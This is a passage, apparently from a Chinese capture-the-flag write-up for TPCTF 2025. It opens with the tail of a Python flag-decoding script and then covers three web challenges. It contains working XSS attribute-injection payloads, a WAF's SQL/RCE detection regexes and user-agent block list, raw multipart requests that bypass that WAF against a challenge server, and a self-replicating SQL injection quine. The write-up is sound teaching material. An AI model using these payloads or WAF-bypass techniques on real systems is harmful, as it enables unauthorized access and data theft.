'Nea', 'Wan', 'Mem', 'Nam', 'Mao', 'Pov', 'Pio', 'Bey', 'Vas', 'Jee', 'Not', 'Lat', 'Sud', 'Bog', 'Hue', 'Rio', 'Got', 'Liu', 'Lax', 'Fec', 'Duc', 'Rec', 'Mas', 'Cig', 'Vox', 'Rov', 'Pow', 'Sil', 'Gac', 'Pet', 'Yay', 'Sad', 'Ram', 'Box', 'Wag', 'Nin', 'Lib', 'Tou', 'Dae', 'Tau', 'Teo', 'Sod', 'Hoy', 'Tip', 'Cer', 'Wee', 'Nov', 'Keg', 'Nit', 'Wok', 'Hin', 'Tue', 'Ron', 'Roi', 'Vos', 'Sao', 'Kia', 'Tix', 'Mip', 'Cub', 'Nah', 'Hot', 'Wic', 'Yar', 'Sic', 'Sar', 'Kok', 'Fee', 'Yuk', 'Hoo', 'Hei', 'Dap', 'Cen', 'Las', 'Guy', 'Jon', 'His', 'Moo', 'Roz', 'Fac', 'Fir', 'Ham', 'Rad', 'Foi', 'Sof', 'Poo', 'Toa', 'Kos', 'Sei', 'Dof', 'Get', 'Bap', 'Kes', 'Die', 'Dad', 'Pea', 'Nus', 'Tit', 'Ros', 'Nay', 'Moa', 'Zen', 'Mam', 'Heb', 'Fab', 'Rib', 'Cao', 'Hey', 'Wot', 'Soo', 'Kai', 'Cem', 'Rom', 'Uaw', 'Zed', 'Noi', 'Sab', 'Tes', 'Gob', 'Jax', 'Nob', 'Bao', 'Tos', 'Tor', 'Mep', 'Pan', 'Har', 'Guv', 'Foa', 'Nih', 'Cim', 'Pig', 'Jot', 'Sop', 'Duh', 'Jia', 'Nil', 'Fib', 'Kei', 'Gad', 'Toy', 'Pim', 'Gel', 'Cet', 'Hal', 'Wen', 'Yah', 'Nup', 'Jai', 'Paw', 'Pos', 'Qed', 'Tel', 'Gay', 'Liv', 'Bus', 'Fop', 'Pia', 'Miu', 'Ked', 'Fea', 'Fob', 'Sel', 'Miz', 'Lor', 'Tay', 'Pot', 'Tac', 'Wei', 'Mug', 'Dat', 'Wal', 'How', 'Yow', 'Pax']
target=['VicCouNeaGas', 'DemHohBojWod', 'PowFitGuoRut', 'VetTasBesDae', 'FasLiuTasJoi', 'DevRecWoeDia', 'BogHubSorHad', 'BagLibYupSix', 'MowPetBecZan', 'LonRecRipLuk', 'KarYapTajGot', 'TiaLiuFayDic', 'VizDivCitBot', 'LeaLatReaSac', 'FasLiuVicToc', 'KunSadMerMun', 'LemLiuGuoReq']
def process(s):
index=0
ls=[s[0:3],s[3:6],s[6:9],s[9:12]]
for i in ls:
if i in fourth:
index+=fourth.index(i)*103*513*313
elif i in third:
index+=third.index(i)*103*513
elif i in second:
index+=second.index(i)*103
elif i in first:
index+=first.index(i)
return index
ans=[]
for i in target:
ans.append(str(ipaddress.IPv4Address(process(i))))
print(ans)
#['84.80.67.84', '70.123.102.105', '110.97.108.108', '121.95.116.104', '101.95.99.114', '105.109.105.110', '97.108.53.95', '119.104.48.95', '112.117.98.108', '105.53.104.101', '100.95.116.104', '101.53.101.95', '53.112.97.109', '95.119.101.114', '101.95.97.114', '114.101.53.116', '101.100.125.32']
不难发现这些数字都在ascii的可打印字符范围内
WEB
baby layout
创建layout
<img src={{content}}>
创建post,利用引号闭合前面的引号
" onerror="alert(1);
最后可达成XSS
safe layout
参考文章:Exploring the DOMPurify library: Hunting for Misconfigurations (2/2)
里面提到
即使把ALLOWED_ATTR设置为空
也能写入一些属性
创建layout
<img data-remote="{{content}}">
创建post
" src=x onerror="alert(1);
最后可达成XSS
supersqli
题目告知我们和sql注入有关。访问链接,发现没啥东西,他给了源码,先下载审审源码。
根据源码的urls.py可以看到他有两个路径可访问
urlpatterns = [
path("flag/", views.flag, name="flag"),
path("", views.index, name="index"),
]
我们看一下访问flag路径后的源码,在views.py中。
from django.shortcuts import render
from django.db import connection
# Create your views here.
from django.http import HttpResponse,HttpRequest
from .models import AdminUser,Blog
import os
def index(request:HttpRequest):
return HttpResponse('Welcome to TPCTF 2025')
def flag(request:HttpRequest):
if request.method != 'POST':
return HttpResponse('Welcome to TPCTF 2025')
username = request.POST.get('username')
if username != 'admin':
return HttpResponse('you are not admin.')
password = request.POST.get('password')
users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))
try:
assert password == users[0].password
return HttpResponse(os.environ.get('FLAG'))
except:
return HttpResponse('wrong password')
根据代码提示,只接收post
请求,并且会对username
以及password
进行检测。
在代码中有如下语句:
users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))
其中对sql
语句的拼接非常容易触发注入的风险。但是在后端中会对我们的username
检测其是否为admin
,所以注入点应该是集中在变量password
上。
但是我们还注意到他的源码中存在waf
,我们来看一下他的waf
。
package main
import (
"bytes"
"io"
"log"
"mime"
"net/http"
"regexp"
"strings"
)
const backendURL = "http://127.0.0.1:8000"
const backendHost = "127.0.0.1:8000"
var blockedIPs = map[string]bool{
"1.1.1.1": true,
}
var sqlInjectionPattern = regexp.MustCompile(`(?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|drop\s+table|--|#|\*\/|\/\*)`)
var rcePattern = regexp.MustCompile(`(?i)(\b(?:os|exec|system|eval|passthru|shell_exec|phpinfo|popen|proc_open|pcntl_exec|assert)\s*\(.+\))`)
var hotfixPattern = regexp.MustCompile(`(?i)(select)`)
var blockedUserAgents = []string{
"sqlmap",
"nmap",
"curl",
}
func isBlockedIP(ip string) bool {
return blockedIPs[ip]
}
func isMaliciousRequest(r *http.Request) bool {
for key, values := range r.URL.Query() {
for _, value := range values {
if sqlInjectionPattern.MatchString(value) {
log.Printf("阻止 SQL 注入: 参数 %s=%s", key, value)
return true
}
if rcePattern.MatchString(value) {
log.Printf("阻止 RCE 攻击: 参数 %s=%s", key, value)
return true
}
if hotfixPattern.MatchString(value) {
log.Printf("参数 %s=%s", key, value)
return true
}
}
}
if r.Method == http.MethodPost {
ct := r.Header.Get("Content-Type")
mediaType, _, err := mime.ParseMediaType(ct)
if err != nil {
log.Printf("解析 Content-Type 失败: %v", err)
return true
}
if mediaType == "multipart/form-data" {
if err := r.ParseMultipartForm(65535); err != nil {
log.Printf("解析 POST 参数失败: %v", err)
return true
}
} else {
if err := r.ParseForm(); err != nil {
log.Printf("解析 POST 参数失败: %v", err)
return true
}
}
for key, values := range r.PostForm {
log.Printf("POST 参数 %s=%v", key, values)
for _, value := range values {
if sqlInjectionPattern.MatchString(value) {
log.Printf("阻止 SQL 注入: POST 参数 %s=%s", key, value)
return true
}
if rcePattern.MatchString(value) {
log.Printf("阻止 RCE 攻击: POST 参数 %s=%s", key, value)
return true
}
if hotfixPattern.MatchString(value) {
log.Printf("POST 参数 %s=%s", key, value)
return true
}
}
}
}
return false
}
func isBlockedUserAgent(userAgent string) bool {
for _, blocked := range blockedUserAgents {
if strings.Contains(strings.ToLower(userAgent), blocked) {
return true
}
}
return false
}
func reverseProxyHandler(w http.ResponseWriter, r *http.Request) {
clientIP := r.RemoteAddr
if isBlockedIP(clientIP) {
http.Error(w, "Forbidden", http.StatusForbidden)
log.Printf("阻止的 IP: %s", clientIP)
return
}
bodyBytes, err := io.ReadAll(r.Body)
if err != nil {
http.Error(w, "Bad Request", http.StatusBadRequest)
return
}
r.Body = io.NopCloser(bytes.NewBuffer(bodyBytes))
if isMaliciousRequest(r) {
http.Error(w, "Malicious request detected", http.StatusForbidden)
return
}
if isBlockedUserAgent(r.UserAgent()) {
http.Error(w, "Forbidden User-Agent", http.StatusForbidden)
log.Printf("阻止的 User-Agent: %s", r.UserAgent())
return
}
proxyReq, err := http.NewRequest(r.Method, backendURL+r.RequestURI, bytes.NewBuffer(bodyBytes))
if err != nil {
http.Error(w, "Bad Gateway", http.StatusBadGateway)
return
}
proxyReq.Header = r.Header
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
resp, err := client.Do(proxyReq)
if err != nil {
http.Error(w, "Bad Gateway", http.StatusBadGateway)
return
}
defer resp.Body.Close()
for key, values := range resp.Header {
for _, value := range values {
if key == "Location" {
value = strings.Replace(value, backendHost, r.Host, -1)
}
w.Header().Add(key, value)
}
}
w.WriteHeader(resp.StatusCode)
io.Copy(w, resp.Body)
}
func main() {
http.HandleFunc("/", reverseProxyHandler)
log.Println("Listen on 0.0.0.0:8080")
log.Fatal(http.ListenAndServe(":8080", nil))
}
这个waf
是实现了一个简单的反向代理服务器,主要功能是将客户端请求转发到后端服务器,同时具备一定的安全防护机制,能够检测SQL
注入、远程代码执行RCE
攻击,以及屏蔽特定的 IP
和用户代理。
一开始想的是对他匹配的内容进行绕过,但试了半天不行,后来看看能不能从http
协议绕过,因为有点waf
识别到Content-Type
类 型 为multipart/form-data
后, 会将它认为是文件上传请求 ,从而不检测其他种类攻击只检测文件上传,导致被绕过。构造一个post数据包,构造两层post,第二层里面加上构造的数据。
我构造的为:
POST /flag/ HTTP/1.1
Host: 1.95.159.113:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXcT1f23abcde
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; filename="data"
Content-Disposition: form-data; name="username"
admin
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; filename="data"
Content-Disposition: form-data; name="password"
' or 1=1 --
------WebKitFormBoundary7MA4YWxkTrZu0gW--
结果并没有被waf拦截。
一开始注意力全在怎么爆库等常规注入上,导致耗费大量时间。再诸多尝试后,才发现方向不对。在代码中,使用 Django
的 raw()
方法来执行原始的 SQL
查询。它查询 blog_adminuser
表,寻找用户名为 username
和密码为 password
的用户。raw()
方法返回的是一个 QuerySet
,它会生成一系列 AdminUser
实例,假设该查询返回了一个有效的用户。
才会进入try
语句,对查询到的密码与用户输入的密码一致才会返回flag
的值。如果不然,则会捕获异常,返回wrong password
。
而这题的重点是在检测的断言处:
assert password == users[0].password
要求用户输入的内容要与数据库中查询到的第一个用户的密码相同。常规的注入是不能满足的,因为常规注入的内容时不可能让查询到的password
的值与输入的内容相同的。比如:
注入内容:'1 or 1=1-- ==> 查询结果为 "1"
"1" != "'1 or 1=1--"
因此会一直被捕获异常,输出wrong password
。
POST /flag/ HTTP/1.1
Host: 1.95.159.113:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXcT1f23abcde
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; filename="data"
Content-Disposition: form-data; name="username"
admin
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; filename="data"
Content-Disposition: form-data; name="password"
'&enspor sleep(100);LIMIT 1
------WebKitFormBoundary7MA4YWxkTrZu0gW--
那就没有办法了吗?
根据这篇文章sql注入新特性,发现在这一类问题中有一种新的思路:
SELECT 1,2,REPLACE(REPLACE('" union SELECT 1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".") AS weljoni--',CHAR(34),CHAR(39)),CHAR(46),'" union SELECT 1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".") AS weljoni--') AS weljoni--
他的查询结果就为构造的他本身
这不就满足我们需要得到条件嘛?我们输入的password
与查询到的内容相同。
那我们的payload就可以为:
' union SELECT 1,2,REPLACE(REPLACE('" union SELECT 1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".") AS weljoni--',CHAR(34),CHAR(39)),CHAR(46),'" union SELECT 1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".") AS weljoni--') AS weljoni--
这样就能成功拿到flag。